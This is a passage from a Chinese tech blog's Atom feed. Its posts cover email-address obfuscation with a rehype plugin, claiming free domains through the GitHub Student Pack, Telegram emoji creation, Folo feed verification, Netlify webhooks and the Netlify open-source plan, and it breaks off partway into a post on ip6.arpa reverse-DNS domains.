&lt;p&gt;你要是懒可以Fork&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;saicaca&#x2F;fuwari&quot;&gt;上游原仓库&lt;&#x2F;a&gt;从白纸开始&lt;a href=&quot;&#x2F;posts&#x2F;fuwari&#x2F;&quot;&gt;改&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>通过邮件混淆技术增强博客隐私</title>
        <published>2025-08-12T00:00:00+00:00</published>
        <updated>2025-08-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/email-privacy/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/email-privacy/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/email-privacy/">&lt;blockquote&gt;
&lt;p&gt;本文非站长原创，由 https://github.com&#x2F;afoim&#x2F;fuwari&#x2F;pull&#x2F;31 提供&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h2&gt;
&lt;p&gt;在网页上直接暴露电子邮件地址，会使其极易受到垃圾邮件机器人的自动抓取。为了解决这一隐私和安全问题，可以采用邮件地址混淆技术。&lt;&#x2F;p&gt;
&lt;p&gt;在提交 &lt;code&gt;0cc6194f35b3ff4ab53718fd98022b17ac522303&lt;&#x2F;code&gt; 中，项目引入了 &lt;code&gt;rehype-email-protection&lt;&#x2F;code&gt; 插件来应对此问题。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ji-shu-fang-an-rehype-email-protection&quot;&gt;技术方案：&lt;code&gt;rehype-email-protection&lt;&#x2F;code&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;rehype-email-protection&lt;&#x2F;code&gt; 是一个 Rehype 插件，它能在网站内容处理流程中自动识别并混淆电子邮件地址。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pei-zhi-shi-xian&quot;&gt;配置实现&lt;&#x2F;h3&gt;
&lt;p&gt;该功能通过在 &lt;code&gt;astro.config.mjs&lt;&#x2F;code&gt; 文件中进行配置来启用。&lt;&#x2F;p&gt;
&lt;p&gt;首先，导入插件模块：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;javascript&quot;&gt;import rehypeEmailProtection from &amp;quot;.&#x2F;src&#x2F;plugins&#x2F;rehype-email-protection.mjs&amp;quot;;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后，在 Astro 配置的 &lt;code&gt;rehypePlugins&lt;&#x2F;code&gt; 数组中添加该插件，并指定 &lt;code&gt;base64&lt;&#x2F;code&gt; 作为混淆方法。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;javascript&quot;&gt;markdown: {
  rehypePlugins: [
    &#x2F;&#x2F; ... 其他插件
    [rehypeEmailProtection, { method: &amp;quot;base64&amp;quot; }],
    &#x2F;&#x2F; ... 其他插件
  ],
},
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;gong-zuo-ji-zhi&quot;&gt;工作机制&lt;&#x2F;h3&gt;
&lt;p&gt;配置生效后，内容中所有标准的电子邮件地址（如 &lt;code&gt;user@example.com&lt;&#x2F;code&gt;）在网站构建过程中，都会被转换为 Base64 编码的字符串，并通过客户端 JavaScript 进行解码。&lt;&#x2F;p&gt;
&lt;p&gt;对于普通用户，浏览器会执行脚本将编码还原为可交互的 &lt;code&gt;mailto:&lt;&#x2F;code&gt; 链接，功能体验不变。而对于无法执行 JavaScript 的网络爬虫，它们只能获取到编码后的无意义字符串，从而达到了保护电子邮件地址不被轻易收集的目的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jie-lun&quot;&gt;结论&lt;&#x2F;h2&gt;
&lt;p&gt;集成 &lt;code&gt;rehype-email-protection&lt;&#x2F;code&gt; 插件是一种简单而有效的隐私增强手段。它以极低的配置成本，显著降低了因在公开网页上暴露电子邮件地址而导致的安全风险，是静态网站开发中值得推荐的一个实践。&lt;&#x2F;p&gt;
&lt;p&gt;引流：www.497995.xyz 树树放过我😭😭&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>我去！GithubEdu还能再再再嫖俩免费一年域名？！</title>
        <published>2025-08-11T23:04:10+00:00</published>
        <updated>2025-08-11T23:04:10+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/ghedu-free-name/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/ghedu-free-name/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/ghedu-free-name/">&lt;p&gt;前往 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://education.github.com&#x2F;pack&quot;&gt;GitHub 学生开发者包 - GitHub Education&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;往下滚动 找到&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-23-05-40-107c27403a989dddcdd101180ee13509.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;点击登录并验证你的学生身份&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-23-05-55-72bea2d54c200e08fa652d3997adcf06.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;短域名也有免费的！&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-23-06-11-e4fe0a62548c9c69d32cb2a79176a52b.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;长域名更是不在话下！&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-23-06-23-b45ebff5a8fe5214bb0291d77cb3fa1e.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;但是最终结账的时候只能免费&lt;strong&gt;两个&lt;&#x2F;strong&gt;域名哦~&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-23-06-43-e67a6d8837878e07ef1b2bb5b8cb4d11.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;需要绑卡验证，扣0.00元。Bybit虚拟卡可用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-23-07-06-bfaade641dbd1c125301195d4ad28bed.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-23-07-10-bdd91d31b4c3c388555faad961924cc0.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;等待跑进度条~&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-23-07-39-ea95cc5fbfc9ac8fcec2f90614d49d6a.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来老生常谈的改NS到Cloudflare&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-23-07-56-85434553c9304a3f0a0ccc10accbef01.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-23-08-01-bd48e80dafba30f3e4a98a6bcae3f04e.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-23-08-05-6ae9ce6c4cc5332003ac8101653477b7.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;成功激活~&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-23-08-13-6ceb145115731817f2738c711359dc3f.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>wow！有GithubEdu资格？再嫖一个免费一年的.me域名！</title>
        <published>2025-08-11T22:37:55+00:00</published>
        <updated>2025-08-11T22:37:55+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/ghedu-free-me/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/ghedu-free-me/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/ghedu-free-me/">&lt;blockquote&gt;
&lt;p&gt;请先通过&lt;a href=&quot;&#x2F;posts&#x2F;github-edu&#x2F;&quot;&gt;这篇文章&lt;&#x2F;a&gt;拿到Github Edu~&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;前往 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://education.github.com&#x2F;pack&quot;&gt;GitHub 学生开发者包 - GitHub Education&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;往下滚直到找到这个&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-22-40-15-747b62efa69a5b34182a68ac4c7130cb.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;点击这里&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-22-40-31-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;进行Github授权&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-22-40-48-5e092849ebad203968bd801ad2d4534a.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;成功验证学生资格咯~&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-22-41-00-703f88997e8c2281f2a473e03a19a061.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;选一个你喜欢的 .me 域名，然后加入购物车（FREE！）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-22-41-21-0a5f5a19e86e622f923b2ca7ec2d0a1e.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;勾上Github Page，填上你的Github邮箱&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-22-41-48-1812c773c7f4044f2705f565dfb443bc.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来登录使用Github邮箱注册的号，没有号就注册一个！&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-22-42-19-b6c04a5c6d9c66e729c54d9f66c2ef44.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;完成订单咯~&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-22-42-33-8b2edf1503f41426c60a0218c87b8ae5.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在控制台将NS转到Cloudflare！&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-22-42-47-5a59c356ad54788f34f0cfee2428853b.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-22-42-52-dcbcc938cbfaaade3d7a98538af3a26a.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-22-42-56-de9a3668c84d4209aa997c643711befb.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;NameCheap的NS传播似乎有些慢，等等咯~&lt;&#x2F;p&gt;
&lt;p&gt;半小时后有咯~&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-22-54-37-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>有Github Education？来嫖一年免费的.tech域名！</title>
        <published>2025-08-11T21:45:08+00:00</published>
        <updated>2025-08-11T21:45:08+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/ghedu-free-tech/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/ghedu-free-tech/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/ghedu-free-tech/">&lt;blockquote&gt;
&lt;p&gt;请先通过&lt;a href=&quot;&#x2F;posts&#x2F;github-edu&#x2F;&quot;&gt;这篇文章&lt;&#x2F;a&gt;拿到Github Edu~&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;然后前往 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://education.github.com&#x2F;pack&quot;&gt;GitHub Student Developer Pack - GitHub Education&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;一直往下滚，直到找到 .tech 字样的项目，点击蓝色链接进入&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-21-49-27-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;输入域名，然后添加到购物车&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-21-50-09-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;点击结账&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-21-50-20-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在这里登录Github账户（我已经免费拿一个了所以拿不了噜~）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-21-51-05-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;不出意外你的Total应该是0，点击就购买成功！&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;接下来来到 https://controlpanel.tech&#x2F;&lt;&#x2F;p&gt;
&lt;p&gt;登录你的账户&lt;&#x2F;p&gt;
&lt;p&gt;输入你的域名并跳转到控制台&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-21-53-59-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;改NS到Cloudflare~&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-21-54-26-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当当当当~&lt;&#x2F;p&gt;
&lt;p&gt;激活咯~&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-21-54-51-db66a30e7c1fa897656df0c4e0d90390.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>教你制作自己的Telegram Emoji！</title>
        <published>2025-08-11T21:22:46+00:00</published>
        <updated>2025-08-11T21:22:46+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/tg-emoji/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/tg-emoji/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/tg-emoji/">&lt;blockquote&gt;
&lt;p&gt;本文讲述的是添加TG的Emoji，不是贴纸！！！&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;准备若干张 PNG或WEBP，100x100 px的图片&lt;&#x2F;p&gt;
&lt;p&gt;然后找到 @Stickers&lt;&#x2F;p&gt;
&lt;p&gt;发送 &lt;code&gt;&#x2F;newemojipack&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-21-28-30-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这里使用静态表情，即 &lt;code&gt;static&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-21-28-53-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来随便起个名字，我这里就叫 &lt;code&gt;Logo&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后发送你的图片&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-21-29-20-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来发送一个能代表你表情的Emoji，并且发布&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-21-30-19-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后设置一个 &lt;code&gt;pathname&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-21-30-37-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;点击上面的链接就可以添加咯~&lt;&#x2F;p&gt;
&lt;p&gt;如果你是Telegram Premium，还可以挂在昵称旁边哦~&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-11-21-31-21-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>认证为Folo的创作者</title>
        <published>2025-08-10T21:26:55+00:00</published>
        <updated>2025-08-10T21:26:55+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/folo-verification/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/folo-verification/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/folo-verification/">&lt;p&gt;这是一篇Folo认证文章，用于认证本RSS归属于我&lt;&#x2F;p&gt;
&lt;p&gt;This message is used to verify that this feed (feedId:179303355921427456) belongs to me (userId:165740980096046080). Join me in enjoying the next generation information browser https://folo.is.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;wo-yao-zen-me-ren-zheng&quot;&gt;我要怎么认证？&lt;&#x2F;h1&gt;
&lt;p&gt;首先 你得有一个博客，或者说一个有RSS的网站&lt;&#x2F;p&gt;
&lt;p&gt;比如 2x.nz&#x2F;rss.xml&lt;&#x2F;p&gt;
&lt;p&gt;接下来在Folo处点击认证 https://folo.is&lt;&#x2F;p&gt;
&lt;p&gt;会弹出一个内容，要求让你放置到RSS&lt;&#x2F;p&gt;
&lt;p&gt;最简单的方法就是像我这样新建一篇文章，然后原封不动粘贴这段话，然后认证即可&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-10-21-31-04-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>利用Netlify WebHook来实时提醒你的订阅者博客文章更新</title>
        <published>2025-08-09T00:01:00+00:00</published>
        <updated>2025-08-09T00:01:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/netlify-webhook/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/netlify-webhook/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/netlify-webhook/">&lt;p&gt;早期文章提到过 &lt;a href=&quot;&#x2F;posts&#x2F;github-webhook&quot;&gt;利用Github Webhook为你的订阅者推送文章更新消息&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;其实已经很完美了，但是仍有一些缺陷&lt;&#x2F;p&gt;
&lt;p&gt;比如Github WebHook确实可以让Bot知道什么时候有了新的提交&lt;&#x2F;p&gt;
&lt;p&gt;但是Github并不知道构建服务需要构建多久&lt;&#x2F;p&gt;
&lt;p&gt;只能设置一个保守的延迟推送&lt;&#x2F;p&gt;
&lt;p&gt;但是当我们再使用Netlify的WebHook的时候&lt;&#x2F;p&gt;
&lt;p&gt;情况就变得不同了&lt;&#x2F;p&gt;
&lt;p&gt;Netlify可以在站点构建成功后向Bot发送WebHook&lt;&#x2F;p&gt;
&lt;p&gt;但是也有缺陷&lt;&#x2F;p&gt;
&lt;p&gt;那就是Netlify不支持检测文件变动&lt;&#x2F;p&gt;
&lt;p&gt;但是&lt;&#x2F;p&gt;
&lt;p&gt;我们只需要将两者结合&lt;&#x2F;p&gt;
&lt;p&gt;则工作流为
Push -&amp;gt;&lt;&#x2F;p&gt;
&lt;p&gt;Github Webhook 通知Bot -&amp;gt;&lt;&#x2F;p&gt;
&lt;p&gt;Bot收到提交信息，如果合法，则记录变动的文章，并且等待Netlify发送部署成功的WebHook -&amp;gt;&lt;&#x2F;p&gt;
&lt;p&gt;Netlify WebHook 通知Bot站点部署成功 -&amp;gt;&lt;&#x2F;p&gt;
&lt;p&gt;Bot即刻推送文章更新消息 √&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shi-cao&quot;&gt;实操&lt;&#x2F;h1&gt;
&lt;p&gt;添加HTTP POST钩子&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-09-23-15-10-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;创建一个部署成功钩子&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-09-23-15-40-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;botduan&quot;&gt;Bot端&lt;&#x2F;h1&gt;
&lt;p&gt;设置一个双监听WebHook服务器，同时接受Github和Netlify的WebHook即可。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-09-23-36-50-5ec10aad91b98d8d36699c7956c705f0.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-09-23-39-27-cfc2d6a91a07455adbcee0c491143640.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-09-23-57-02-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>有自己的开源项目？来申请Netlify的Open Source计划！</title>
        <published>2025-08-09T00:00:01+00:00</published>
        <updated>2025-08-09T00:00:01+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/netlify-oss/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/netlify-oss/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/netlify-oss/">&lt;blockquote&gt;
&lt;p&gt;[! WARNING]&lt;&#x2F;p&gt;
&lt;p&gt;Netlify OSS计划不受理个人博客&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;确保你有一个开源项目，并且已经托管在了Netlify，Github的也有你网站的链接
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-09-12-30-32-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;前往 https://opensource-form.netlify.com&#x2F;&lt;&#x2F;p&gt;
&lt;p&gt;填写相关信息，提交。&lt;&#x2F;p&gt;
&lt;p&gt;我是这样写的&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;textile&quot;&gt;Open Source Team Application
Applicant Name: no name provided
Applicant Email: acofork@gmail.com
Project Name: afoim&#x2F;fuwari
Proof of Contributors:
Code of Conduct URL: https://af-archive-zola-classic.pages.dev
Project License URL: MIT license
Netlify Site URL: https://af-archive-zola-classic.pages.dev/posts&#x2F;static-web&#x2F;#netlify
Notes:
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-09-05-17-05-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;一天后收到已开通 &lt;code&gt;Open Source&lt;&#x2F;code&gt; 计划的邮件。如果没有通过也没关系，你可以直接回复这封邮件，带上你的疑问，注意使用英文&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-09-05-17-36-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;账户也自动从 &lt;code&gt;Starter&lt;&#x2F;code&gt; 升级到了 &lt;code&gt;Open Source&lt;&#x2F;code&gt; 计划&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-09-05-18-12-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>IPv6反解域名是什么？嫩长一坨还能托管到Cloudflare？SSL签发也没问题？</title>
        <published>2025-08-09T00:00:00+00:00</published>
        <updated>2025-08-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/ip6-arpa/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/ip6-arpa/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/ip6-arpa/">&lt;blockquote&gt;
&lt;p&gt;以下内容来自GPT-5&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这是一个 &lt;strong&gt;IPv6 反向解析（Reverse DNS）域名&lt;&#x2F;strong&gt;，遵循 &lt;code&gt;ip6.arpa&lt;&#x2F;code&gt; 格式。&lt;br &#x2F;&gt;
它是把 IPv6 地址每个十六进制数字倒序排列，加上 &lt;code&gt;.ip6.arpa&lt;&#x2F;code&gt; 后缀，用于 DNS 反查时将域名解析回原 IPv6 地址。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;jiang-x-x-x-x-x-x-x-x-x-x-x-x-ip6-arpa-nong-dao-shou&quot;&gt;将 x.x.x.x.x.x.x.x.x.x.x.x.ip6.arpa 弄到手&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;视频教程： https://www.bilibili.com&#x2F;video&#x2F;BV1q8tBzsEPi&#x2F;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;前往 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://tunnelbroker.net&#x2F;&quot;&gt;Hurricane Electric Free IPv6 Tunnel Broker&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;注册一个账号（需要用域名邮箱）&lt;&#x2F;p&gt;
&lt;p&gt;创建隧道。需要一台启用了ICMP信令的VPS&lt;&#x2F;p&gt;
&lt;p&gt;填上IP后，TunnelBroker会向其发送Ping请求&lt;&#x2F;p&gt;
